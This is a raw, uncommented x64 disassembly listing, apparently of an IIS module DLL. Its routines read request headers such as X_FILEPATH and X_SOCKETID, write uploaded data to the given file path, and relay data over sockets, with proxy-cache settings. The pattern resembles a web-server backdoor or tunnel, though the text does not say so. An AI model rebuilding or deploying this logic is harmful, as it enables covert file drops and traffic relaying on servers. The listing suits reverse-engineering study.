mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.180012ea0
nop
lea rcx, [rsp + 0x1f08]
call fcn.180001c80
lea rcx, [rsp + 0xf8]
call fcn.180009690
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x1748]
call fcn.180001c10
lea r8, [rsp + 0x1748]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xd0]
call fcn.180008db0
lea rcx, [rsp + 0x1748]
call fcn.180001c80
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1f0], rax
mov rbx, qword [rsp + 0x40]
cmp rbx, rax
je 0x18000728e
lea rdx, [0x18004e27c]
lea rcx, [rsp + 0x1768]
call fcn.1800097e0
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x1f28]
call fcn.180015990
nop
lea r8, [rsp + 0x1768]
mov rdx, rax
lea rcx, [rsp + 0x280]
call fcn.1800155b0
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.1800095c0
lea rcx, [rsp + 0x280]
call fcn.180009520
nop
lea rcx, [rsp + 0x1f28]
call fcn.180009730
nop
lea rcx, [rsp + 0x1768]
call fcn.180009730
mov rcx, qword [rsp + 0x100]
mov rax, rcx
mov rbx, qword [rsp + 0xf8]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x18000747b
mov qword [rsp + 0x130], rcx
cmp rbx, rcx
je 0x1800073d4
nop dword [rax]
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0xf48]
call fcn.180009840
nop
cmp qword [rsp + 0xf58], 0
je 0x1800073aa
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x1f48]
lea rcx, [rsp + 0xf48]
call fcn.1800096b0
mov rcx, rax
call fcn.18000d630
movzx edi, al
lea rcx, [rsp + 0x1f48]
call fcn.180009730
test dil, dil
je 0x180007364
lea r8, [rsp + 0xf48]
lea rdx, [0x18004e28c]
lea rcx, [rsp + 0x1f68]
call fcn.18000d6a0
mov rdx, rax
lea rcx, [rsp + 0xf48]
call fcn.180009770
lea rcx, [rsp + 0x1f68]
call fcn.180009730
lea rdx, [rsp + 0xf48]
call fcn.180009480
lea rdx, str.Proxy
lea rcx, [rsp + 0x1788]
call fcn.1800097e0
nop
lea rdx, [rsp + 0xf48]
lea rcx, [rsp + 0x1788]
call fcn.180017bf0
nop
lea rcx, [rsp + 0x1788]
call fcn.180009730
nop
lea rcx, [rsp + 0xf48]
call fcn.180009730
add rbx, 0x20
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x130], rax
cmp rbx, rax
jne 0x1800072d0
lea rax, [rsp + 0x498]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0x498]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1fc8]
call fcn.180015bb0
nop
mov rdx, rax
lea rcx, [rsp + 0x4b8]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1fc8]
call fcn.180001c80
lea rdx, [0x18004d8c8]
lea rcx, [rsp + 0x4d8]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xf8]
call fcn.180009520
nop
lea rcx, [rsp + 0xd0]
call fcn.180007fa0
jmp 0x180005104
lea rcx, [rsp + 0xf8]
call fcn.180009520
nop
lea rcx, [rsp + 0xd0]
jmp 0x180007ee2
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x2008]
call fcn.1800154e0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.180012ea0
nop
lea rcx, [rsp + 0x2008]
call fcn.180001c80
lea rdx, str.timeout
lea rcx, [rsp + 0x17a8]
call fcn.180001c10
lea r8, [rsp + 0x17a8]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xc0]
call fcn.180008db0
lea rcx, [rsp + 0x17a8]
call fcn.180001c80
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
je 0x1800076b0
add rcx, 0x40
call fcn.180002220
nop
test eax, eax
jne 0x1800075f3
mov dword [0x18005aa08], r15d
lea rdx, [0x18004e290]
lea rcx, [rsp + 0x17e8]
call fcn.1800097e0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x17c8]
call fcn.1800097e0
nop
mov edx, dword [0x18005aa08]
lea rcx, [rsp + 0x2028]
call fcn.180002300
nop
mov r8, rax
lea rdx, [rsp + 0x17e8]
lea rcx, [rsp + 0x17c8]
call fcn.180017ce0
nop
lea rcx, [rsp + 0x2028]
call fcn.180009730
nop
lea rcx, [rsp + 0x17c8]
call fcn.180009730
nop
lea rcx, [rsp + 0x17e8]
call fcn.180009730
lea rdx, str.Disable_Proxy_Cache
lea rcx, [rsp + 0x4f8]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xc0]
call fcn.180007fa0
jmp 0x180005104
jle 0x1800076b0
mov dword [0x18005aa08], eax
lea rdx, [0x18004e290]
lea rcx, [rsp + 0x1828]
call fcn.1800097e0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x1808]
call fcn.1800097e0
nop
mov edx, dword [0x18005aa08]
lea rcx, [rsp + 0x2068]
call fcn.180002300
nop
mov r8, rax
lea rdx, [rsp + 0x1828]
lea rcx, [rsp + 0x1808]
call fcn.180017ce0
nop
lea rcx, [rsp + 0x2068]
call fcn.180009730
nop
lea rcx, [rsp + 0x1808]
call fcn.180009730
nop
lea rcx, [rsp + 0x1828]
call fcn.180009730
xor ecx, ecx
call fcn.180020f3c
movsxd rcx, dword [0x18005aa08]
add rcx, rax
mov qword [0x18005aad8], rcx
lea rdx, str.Enable_Proxy_Cache
lea rcx, [rsp + 0x518]
jmp 0x1800075cb
mov edx, dword [0x18005aa08]
lea rcx, [rsp + 0x20c8]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Proxy_Cache_Time:
lea rcx, [rsp + 0x538]
call fcn.18000d200
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x20c8]
call fcn.180001c80
jmp 0x1800075e1
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.default.0x180004f48
mov rdx, rax
lea rcx, [rsp + 0x1188]
call fcn.180001c10
nop
cmp qword [rsp + 0x1198], 0
jne 0x180007748
lea rcx, [rsp + 0x1188]
call fcn.180001c80
jmp case.default.0x180004f48
lea rdx, [rsp + 0x1188]
lea rcx, [rsp + 0x13e8]
call fcn.180015990
nop
lea rcx, [rsp + 0x13e8]
call fcn.1800096f0
mov rcx, rax
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov esi, 2
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
mov dword [rsp + 0x88], r15d
cmp rax, 0xffffffffffffffff
je 0x18000780e
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
je 0x18000780e
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x20e8]
call fcn.1800154e0
mov r15d, dword [rsp + 0x60]
or r15d, 8
mov rcx, rax
call fcn.180001bf0
mov rdx, rax
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0xcc8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x180007813
xor dil, dil
jmp 0x180007816
mov r15d, dword [rsp + 0x60]
mov dil, 1
test r15b, 8
je 0x180007829
lea rcx, [rsp + 0x20e8]
call fcn.180001c80
test dil, dil
je 0x180007952
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [rsp + 0x21c8]
call fcn.1800022c0
mov rdi, rax
mov edx, ebx
lea rcx, [rsp + 0x21a8]
call fcn.1800022a0
mov rbx, rax
lea r8, [rsp + 0x1188]
lea rdx, str.Write_file
lea rcx, [rsp + 0x2188]
call fcn.18000d100
nop
lea r8, str._error___handle
mov rdx, rax
lea rcx, [rsp + 0x2168]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x2148]
call fcn.18000d4d0
nop
lea r8, str._error_number
mov rdx, rax
lea rcx, [rsp + 0x2128]
call fcn.18000d460
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x578]
call fcn.18000d4d0
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x2128]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2148]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2168]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2188]
call fcn.180001c80
nop
lea rcx, [rsp + 0x21a8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x21c8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x13e8]
call fcn.180009730
nop
lea rcx, [rsp + 0x1188]
call fcn.180001c80
jmp 0x1800059c3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x88]
lea rcx, [rsp + 0x2268]
call fcn.1800022c0
mov rbx, rax
mov rdx, qword [rsp + 0xcc8]
lea rcx, [rsp + 0x2248]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str.Received_file_length:
lea rcx, [rsp + 0x2228]
call fcn.18000d200
nop
lea r8, str._Write_length:
mov rdx, rax
lea rcx, [rsp + 0x2208]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x5b8]
call fcn.18000d4d0
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x2208]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2228]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2248]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2268]
jmp 0x18000792c
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_FILEPATH
mov rcx, rdi
call qword [rax + 0x18]
test rax, rax
je case.default.0x180004f48
mov rdx, rax
lea rcx, [rsp + 0x1368]
call fcn.180001c10
nop
cmp qword [rsp + 0x1378], 0
jne 0x180007a58
lea rcx, [rsp + 0x1368]
jmp 0x18000773e
lea rcx, [rsp + 0x1408]
call fcn.180001c50
nop
mov rdx, qword [rsp + 0xcc8]
lea rcx, [rsp + 0x22a8]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str._Info__IIS_receive_data_length
lea rcx, [rsp + 0x5f8]
call fcn.18000d200
mov rcx, rax
call fcn.1800153d0
nop
lea rcx, [rsp + 0x22a8]
call fcn.180001c80
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x2348]
call fcn.1800154e0
mov rbx, rax
lea r8, [rsp + 0x1368]
lea rdx, str.UPFILE_
lea rcx, [rsp + 0x2328]
call fcn.18000d100
nop
lea r8, [0x18004e34c]
mov rdx, rax
lea rcx, [rsp + 0x2308]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x22e8]
call fcn.18000d4d0
nop
mov rdx, rax
lea rcx, [rsp + 0x22c8]
call fcn.1800154e0
nop
mov r8d, 0x2710
lea rdx, [rsp + 0x1408]
mov rcx, rax
call fcn.180017de0
nop
lea rcx, [rsp + 0x22c8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x22e8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2308]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2328]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2348]
call fcn.180001c80
lea rdx, [rsp + 0x1408]
lea rcx, [rsp + 0x638]
call fcn.1800154e0
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1408]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1368]
jmp 0x1800054bc
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0xdb8], rax
test rax, rax
je case.default.0x180004f48
mov qword [rsp + 0x50], r15
mov ebx, r15d
mov rdx, rax
lea rcx, [rsp + 0x1848]
call fcn.180001c10
nop
lea rcx, [rsp + 0x1848]
call fcn.180002220
movsxd rsi, eax
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x1848]
call fcn.180001c80
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0xf68]
call fcn.180009ad0
nop
nop dword [rax]
cmp ebx, 0x5dc
jge 0x180007e44
lea rcx, [rsp + 0xf68]
call fcn.180001bf0
mov rdx, rax
xor r9d, r9d
mov r8d, dword [rsp + 0xf78]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x180007d40
nop dword [rax]
cmp ebx, 0x5dc
jge 0x180007e44
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x180007d2e
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x23a8]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Send_failed_error:
lea rcx, [rsp + 0x678]
call fcn.18000d200
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x23a8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xf68]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180007c70
test eax, eax
jne 0x180007d54
lea ecx, [rax + 0x14]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
jmp 0x180007c30
jle 0x180007c30
xor ecx, ecx
mov ebx, ecx
movsxd r8, eax
cmp r8, qword [rsp + 0xf78]
jb 0x180007e06
lea edx, [rax + r15]
lea rcx, [rsp + 0x23e8]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.send_length:
lea rcx, [rsp + 0x698]
call fcn.18000d200
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x23e8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xf68]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
add r15d, eax
or r9, 0xffffffffffffffff
lea rdx, [rsp + 0x2408]
lea rcx, [rsp + 0xf68]
call fcn.180009870
mov rdx, rax
lea rcx, [rsp + 0xf68]
call fcn.180009a80
lea rcx, [rsp + 0x2408]
call fcn.180001c80
jmp 0x180007c30
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x2448]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Send_timeout__error:
lea rcx, [rsp + 0x6d8]
call fcn.18000d200
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x2448]
call fcn.180001c80
nop
lea rcx, [rsp + 0xf68]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
call fcn.180007fa0
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
xor eax, eax
mov rcx, qword [rsp + 0x34d0]
xor rcx, rsp
call fcn.18001add0
lea r11, [rsp + 0x34e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret